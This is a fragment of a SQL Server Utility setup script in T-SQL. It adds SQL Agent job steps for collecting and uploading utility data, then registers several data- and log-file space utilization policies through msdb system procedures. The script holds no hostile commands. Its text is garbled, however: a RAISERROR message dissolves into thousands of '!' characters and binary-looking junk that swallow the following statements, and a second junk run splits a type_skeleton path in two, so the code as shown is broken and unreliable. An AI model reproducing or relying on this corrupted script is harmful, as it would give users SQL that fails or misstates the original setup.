         @subsystem=N'PowerShell', 
         @command=@psScript, 
         @database_name=N'master', 
         @flags=0

      SET @step_id = 3;
      SET @step_name = N'Upload to Utility Control Point';
      RAISERROR('Adding step %i name %s to job %s', 0, 1, @step_id, @step_name, @collect_and_upload_job_name)  WITH NOWAIT;
      EXEC msdb.dbo.sp_add_jobstep @job_id=@collect_and_upload_job_id, @step_name=@step_name, 
         @step_id=@step_id, 
         @cmdexec_success_code=0, 
         @on_success_action=1, -- Quit the job reporting success
         @on_fail_action=2, -- Quit the job reporting failure
         @retry_attempts=0, 
         @retry_interval=0, 
         @os_run_priority=0, 
         @subsystem=N'TSQL', 
         @command=N'EXEC [msdb].[dbo].[sp_sysutility_mi_upload]', 
         @database_name=N'msdb', 
         @flags=0
            
      -- Capture an initial snapshot of DAC statistics. This is not strictly necessary, but it will ensure that we 
      -- can calculate interval statistics immediately on the first execution of the every-15-second scheduled job. 
      RAISERROR('Collecting dac execution statistics for the first time ...', 0, 1, @collect_and_upload_job_name)  WITH NOWAIT;
      EXEC [msdb].[dbo].[sp_sysutility_mi_collect_dac_execution_statistics_internal]

      -- Enable the jobs
      RAISERROR('Enabling job ... %s', 0, 1, @collect_and_upload_job_name)  WITH NOWAIT;
      EXEC msdb.dbo.sp_update_job @job_id=@collect_and_upload_job_id, @enabled=1
      
      RAISERROR('Enabling !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<DO+
h>8^}p@:
xYxw3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(N\*5v+abase/FileGroup/File', @level_name=N'File', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database/FileGroup', @level_name=N'FileGroup', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database', @level_name=N'Database', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server', @level_name=N'Server', @condition_name=N'', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy', @condition_name=N'UtilityDacDataFileSpaceUnderUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for data file space underutilization for a deployed data-tier application.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityDacDataFileSpaceUnderUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy', @marker=1

    SELECT @dac_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/DeployedDac'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityDacDataFileSpaceUnderUtilizationPolicy',@rollup_object_type=1,@rollup_object_urn=@dac_urn,@target_type=2,@resource_type=1,@utilization_type=1,@utilization_threshold=0

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacLogFileSpaceOverUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityDacLogFileSpaceOverUtilizationPolicy_ObjectSet', @facet=N'ILogFilePerformanceFacet', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacLogFileSpaceOverUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityDacLogFileSpaceOverUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Server/Database/LogFile', @type=N'LOGFILE', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database/LogFile', @level_name=N'LogFile', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database', @level_name=N'Database', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server', @level_name=N'Server', @condition_name=N'', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityDacLogFileSpaceOverUtilizationPolicy', @condition_name=N'UtilityDacLogFileSpaceOverUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for log file space overutilization for a deployed data-tier application.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityDacLogFileSpaceOverUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacLogFileSpaceOverUtilizationPolicy', @marker=1

    SELECT @dac_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/DeployedDac'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityDacLogFileSpaceOverUtilizationPolicy',@rollup_object_type=1,@rollup_object_urn=@dac_urn,@target_type=3,@resource_type=1,@utilization_type=2,@utilization_threshold=70

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacLogFileSpaceUnderUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy_ObjectSet', @facet=N'ILogFilePerformanceFacet', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Server/Database/LogFile', @type=N'LOGFILE', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database/LogFile', @level_name=N'LogFile', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database', @level_name=N'Database', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server', @level_name=N'Server', @condition_name=N'', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy', @condition_name=N'UtilityDacLogFileSpaceUnderUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for log file space underutilization for a deployed data-tier application.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityDacLogFileSpaceUnderUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy', @marker=1

    SELECT @dac_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/DeployedDac'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityDacLogFileSpaceUnderUtilizationPolicy',@rollup_object_type=1,@rollup_object_urn=@dac_urn,@target_type=3,@resource_type=1,@utilization_type=1,@utilization_threshold=0

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerDataFileSpaceOverUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityServerDataFileSpaceOverUtilizationPolicy_ObjectSet', @facet=N'IDataFilePerformanceFacet', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerDataFileSpaceOverUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityServerDataFileSpaceOverUtilizationPolicy_ObjectSet', @type_skeleton=N'Util!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
O@v+ity/Server/Database/FileGroup/File', @type=N'FILE', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database/FileGroup/File', @level_name=N'File', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database/FileGroup', @level_name=N'FileGroup', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database', @level_name=N'Database', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server', @level_name=N'Server', @condition_name=N'', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityServerDataFileSpaceOverUtilizationPolicy', @condition_name=N'UtilityServerDataFileSpaceOverUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for data file space overutilization on a managed instance of SQL Server.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityServerDataFileSpaceOverUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityServerDataFileSpaceOverUtilizationPolicy', @marker=1

    SELECT @server_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/Server'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityServerDataFileSpaceOverUtilizationPolicy',@rollup_object_type=2,@rollup_object_urn=@server_urn,@target_type=2,@resource_type=1,@utilization_type=2,@utilization_threshold=70

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerDataFileSpaceUnderUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_object_set @object_set_name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy_ObjectSet', @facet=N'IDataFilePerformanceFacet', @object_set_id=@object_set_id OUTPUT
    Select @object_set_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy_ObjectSet', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_target_set @object_set_name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy_ObjectSet', @type_skeleton=N'Utility/Server/Database/FileGroup/File', @type=N'FILE', @enabled=True, @target_set_id=@target_set_id OUTPUT
    Select @target_set_id

    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database/FileGroup/File', @level_name=N'File', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database/FileGroup', @level_name=N'FileGroup', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server/Database', @level_name=N'Database', @condition_name=N'', @target_set_level_id=0
    EXEC msdb.dbo.sp_syspolicy_add_target_set_level @target_set_id=@target_set_id, @type_skeleton=N'Utility/Server', @level_name=N'Server', @condition_name=N'', @target_set_level_id=0

    EXEC msdb.dbo.sp_syspolicy_add_policy @name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy', @condition_name=N'UtilityServerDataFileSpaceUnderUtilizationCondition', @policy_category=N'', 
    @description=N'The SQL Server Utility policy that checks for data file space underutilization on a managed instance of SQL Server.', 
    @help_text=N'', @help_link=N'', @schedule_uid=N'00000000-0000-0000-0000-000000000000', @execution_mode=0, @is_enabled=False, @policy_id=@policy_id OUTPUT, @root_condition_name=N'', @object_set=N'UtilityServerDataFileSpaceUnderUtilizationPolicy_ObjectSet'
    Select @policy_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy', @marker=1

    SELECT @server_urn = 'Utility[@Name='''+CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))+''']/Server'
    EXEC msdb.dbo.sp_sysutility_ucp_add_policy @policy_name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy',@rollup_object_type=2,@rollup_object_urn=@server_urn,@target_type=2,@resource_type=1,@utilization_type=1,@utilization_threshold=0

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerLogFileSpaceOverUtilizationPolicy
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

